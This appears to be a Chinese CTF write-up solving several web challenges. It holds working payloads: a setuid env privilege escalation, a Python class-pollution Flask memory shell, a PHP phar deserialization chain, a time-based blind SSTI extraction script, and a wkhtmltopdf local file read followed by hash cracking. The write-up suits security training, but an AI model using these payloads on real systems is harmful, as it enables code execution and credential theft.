ls -l /usr/local/bin/env /bin/cat /usr/bin/cat -rwxr-xr-x 1 root root 47592 Jun 4 15:14 /bin/cat -rwxr-xr-x 1 root root 47592 Jun 4 15:14 /usr/bin/cat -rwsr-xr-x 1 root root 56144 Oct 29 12:08 /usr/local/bin/env
/usr/local/bin/env 的权限里有 s (rwsr-xr-x),那就是 setuid 位——也就是说,当你直接运行 /usr/local/bin/env ... 时,进程的有效用户ID(EUID)会被设置为 root。因此通过它去执行的命令会以 root 权限运行,从而可以读取只有 root 可读的 /flag。
百年继承 先随便点点,发现在第5次就噶了,提示语句如下
上校已创建。 上校继承于他的父亲,他的父亲继承于人类 时间流逝:卷入武装起义:命运与战争交织。 时间流逝:抉择时刻:上校需要做出选择(武器与策略)。 事件:上校使用 spear,采取 ambush 策略。世界线变动... (上校的weapon属性被赋值为spear,tactic属性被赋值为ambush) 时间流逝:宿命延续:行军与退却。 时间流逝:面对行刑队:命运的审判即将到来。 行刑队:开始执行判决。 行刑队也继承于人类 临死之前,上校目光瞄着行刑队的佩剑,上面分明写着: lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功') 这是人类自古以来就拥有的execute_method属性... 处决成功 时间流逝:结局:命运如沙漏般倾泻…… 时间流逝:结局:命运如沙漏般倾泻……
猜测是第二次的输入框中进行原型链污染
根据提示语句,可以写出以下语句
class 人类 : def __init__ (self ): self .alive = True self .execute_method = lambda executor, target: ( target.__del__(), setattr (target, 'alive' , False ), '处决成功' ) class 上校的父亲 (人类 ): pass class 上校 (上校的父亲 ): def __init__ (self ): super ().__init__() self .weapon = None self .tactic = None def 做出选择 (self,weapon,tactic ): self .weapon = weapon self .tactic = tactic class 行刑队 (人类 ): def 执行判决 (self,target ): result = self .execute_method(self , target) return result weapon = "spear" tactic = "ambush" 上校实例 = 上校() 行刑队实例 = 行刑队() 上校实例.做出选择(weapon,tactic) 结果 = 行刑队实例.执行判决(上校实例) print (结果)
所以这里直接原型链污染就行,新建一个参数即可
{ "weapon" : "spear" , "tactic" : "ambush" , "__class__" : { "__base__" : { "__base__" : { "execute_method" : "payload" } } } }
这里想去直接打的,比如__import__('os').popen('ls').read(),但是没有回显并且不出网,这里请教了下师傅需要打flask内存马
参考文章新版FLASK下python内存马的研究 - gxngxngxn - 博客园 ,flask不出网回显方式 - Longlone’s Blog ,Python 内存马分析-先知社区
{ "weapon":"spear", "tactic":"ambush", "__class__":{ "__base__":{ "__base__":{ "execute_method":"__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('env').read())" } } } }
这段不是马上执行命令,而是:
通过 sys.modules['__main__'] 找到当前 Flask app;
在 Flask 的生命周期钩子(before_request)中注册一个 lambda;
这个 lambda 会在每次请求处理前 自动执行。
也就是说,你把恶意代码挂载到 Flask 的生命周期里了 。
当 Flask 下一次收到 HTTP 请求时,它运行 before_request 的所有函数,这时执行环境不再是模板沙箱,而是 Flask 主程序(app.py)的 Python 运行环境,具有完整权限,能够执行命令
最后拿到flag
SYC{0ne_Hundr3d_Ye@rs_of_Inheritance_019a6963a9df70d28cc95a7bbf03b670}
ez-seralize 先index.php读个源码(只展示关键部分)
<?php ini_set ('display_errors' , '0' );$filename = isset ($_GET ['filename' ]) ? $_GET ['filename' ] : null ;$content = null ;$error = null ;if (isset ($filename ) && $filename !== '' ) { $balcklist = ["../" ,"%2e" ,".." ,"data://" ,"\n" ,"input" ,"%0a" ,"%" ,"\r" ,"%0d" ,"php://" ,"/etc/passwd" ,"/proc/self/environ" ,"php:file" ,"filter" ]; foreach ($balcklist as $v ) { if (strpos ($filename , $v ) !== false ) { $error = "no no no" ; break ; } } if ($error === null ) { if (isset ($_GET ['serialized' ])) { require 'function.php' ; $file_contents = file_get_contents ($filename ); if ($file_contents === false ) { $error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars ($filename ); } else { $content = $file_contents ; } } else { $file_contents = file_get_contents ($filename ); if ($file_contents === false ) { $error = "Failed to read file or file does not exist: " . htmlspecialchars ($filename ); } else { $content = $file_contents ; } } } } else { $error = null ; } ?>
<?php class A { public $file ; public $luo ; public function __construct ( ) { } public function __toString ( ) { $function = $this ->luo; return $function (); } } class B { public $a ; public $test ; public function __construct ( ) { } public function __wakeup ( ) { echo ($this ->test); } public function __invoke ( ) { $this ->a->rce_me (); } } class C { public $b ; public function __construct ($b = null ) { $this ->b = $b ; } public function rce_me ( ) { echo "Success!\n" ; system ("cat /flag/flag.txt > /tmp/flag" ); } }
一个简单的链子,但是没有找到反序列化的入口,扫个目录看看
有robots.txt,找到/var/www/html/uploads.php
<?php $uploadDir = __DIR__ . '/uploads/' ;if (!is_dir ($uploadDir )) { mkdir ($uploadDir , 0755 , true ); } $whitelist = ['txt' , 'log' , 'jpg' , 'jpeg' , 'png' , 'zip' ,'gif' ,'gz' ];$allowedMimes = [ 'txt' => ['text/plain' ], 'log' => ['text/plain' ], 'jpg' => ['image/jpeg' ], 'jpeg' => ['image/jpeg' ], 'png' => ['image/png' ], 'zip' => ['application/zip' , 'application/x-zip-compressed' , 'multipart/x-zip' ], 'gif' => ['image/gif' ], 'gz' => ['application/gzip' , 'application/x-gzip' ] ]; $resultMessage = '' ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_FILES ['file' ])) { $file = $_FILES ['file' ]; if ($file ['error' ] === UPLOAD_ERR_OK) { $originalName = $file ['name' ]; $ext = strtolower (pathinfo ($originalName , PATHINFO_EXTENSION)); if (!in_array ($ext , $whitelist , true )) { die ('File extension not allowed.' ); } $mime = $file ['type' ]; if (!isset ($allowedMimes [$ext ]) || !in_array ($mime , $allowedMimes [$ext ], true )) { die ('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars ($mime )); } $safeBaseName = preg_replace ('/[^A-Za-z0-9_\-\.]/' , '_' , basename ($originalName )); $safeBaseName = ltrim ($safeBaseName , '.' ); $targetFilename = time () . '_' . $safeBaseName ; file_put_contents ('/tmp/log.txt' , "upload file success: $targetFilename , MIME: $mime \n" ); $targetPath = $uploadDir . $targetFilename ; if (move_uploaded_file ($file ['tmp_name' ], $targetPath )) { @chmod ($targetPath , 0644 ); $resultMessage = '<div class="success"> File uploaded successfully ' . '</div>' ; } else { $resultMessage = '<div class="error"> Failed to move uploaded file.</div>' ; } } else { $resultMessage = '<div class="error"> Upload error: ' . $file ['error' ] . '</div>' ; } } ?>
所以这里直接生成一个phar文件后上传就行,注意这里需要加上时间戳
首先是链子,phar文件生成参考Phar的一些利用姿势-先知社区 ,生成后将后缀名改成txt
<?php class A { public $file ; public $luo ; } class B { public $a ; public $test ; } class C { public $b ; } $a =new B ();$a ->test=new A ();$a ->test->luo=new B ();$a ->test->luo->a=new C ();@unlink ("test.phar" ); $phar = new Phar ("test.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();
然后bp发包,通过发包时间生成时间戳
from datetime import datetime, timezonehttp_date = "Fri, 21 Nov 2025 06:19:26 GMT" timestamp = (datetime.strptime(http_date, "%a, %d %b %Y %H:%M:%S GMT" )).replace(tzinfo=timezone.utc).timestamp() print (int (timestamp))
然后包含这个文件,注意这里还需要serialized这个参数
filename=phar://uploads/1763705966_test.txt&serialized=1
Sussess!后说明flag已经在/tmp/flag中了,直接读取就行
SYC{019aa50f63e977459673cff3d02e8811}
1eeeeezzzzzzZip 1路在脚下 看到提示传入?name=YourName果断尝试ssti,{{7*7}}触发了过滤,猜测是无回显ssti
尝试发现lipsum,joiner,cycler等都被禁用了,但是尝试出来下面的payload可以正常延迟
{%if config.__class__.__init__.__globals__['os'].popen('id').read()[0] == 'u' %} {{config.__class__.__init__.__globals__['os'].popen('sleep 3').read()}} {% endif %}
那么就可以根据这个来进行时间盲注
import requestsimport timeurl = "http://019aa741-9aa4-7e25-a19f-d1ef04b086e0.geek.ctfplus.cn/" def brute_force (url ): find = '' for i in range (1 , 100 ): left, right = 0 , 128 while left < right: mid = (left + right) // 2 payload = f"{{% if config.__class__.__init__.__globals__['os'].popen('env | grep \"FLAG\"').read()[{i-1 } ] >= '{chr (mid)} ' %}}{{{{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}}}}{{% endif %}}" start_time = time.time() try : response = requests.get(url, params={'name' : payload}, timeout=10 ) elapsed_time = time.time() - start_time if elapsed_time >= 5 : left = mid + 1 else : right = mid except requests.exceptions.Timeout: left = mid + 1 except Exception as e: print (f"请求错误: {e} " ) right = mid if left - 1 >= 32 : current_char = chr (left - 1 ) find += current_char print (f"[+] 当前结果: {find} " ) else : print (f"[*] 最终结果: {find} " ) break if __name__ == "__main__" : brute_force(url)
感觉有点麻烦的就是这个我要开5s才能稳定一点,不然就有奇奇怪怪的字符出现,拼拼凑凑凑出来flag了,注意这里要将[替换为_
SYC{I_F0rg3_My_P@th_019aab20c7397b73931f629cb74c03ee}
PDF Viewer 源码中看到以linux系统方式登录,那就尝试从pdf那里获得shadow,网上找到文章The same origin policy allows local files to be read by default · Issue #4536 · wkhtmltopdf/wkhtmltopdf
<!DOCTYPE html> <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <body> <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script> </body></html>
获得用户的加盐密码值
WeakPassword_Admin:$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.:20398:0:99999:7:::
用kali的john去爆破,能够爆破出来
最后WeakPassword_Admin/qwerty登录获得flag
SYC{Y0u_ArE_PDf_mAster}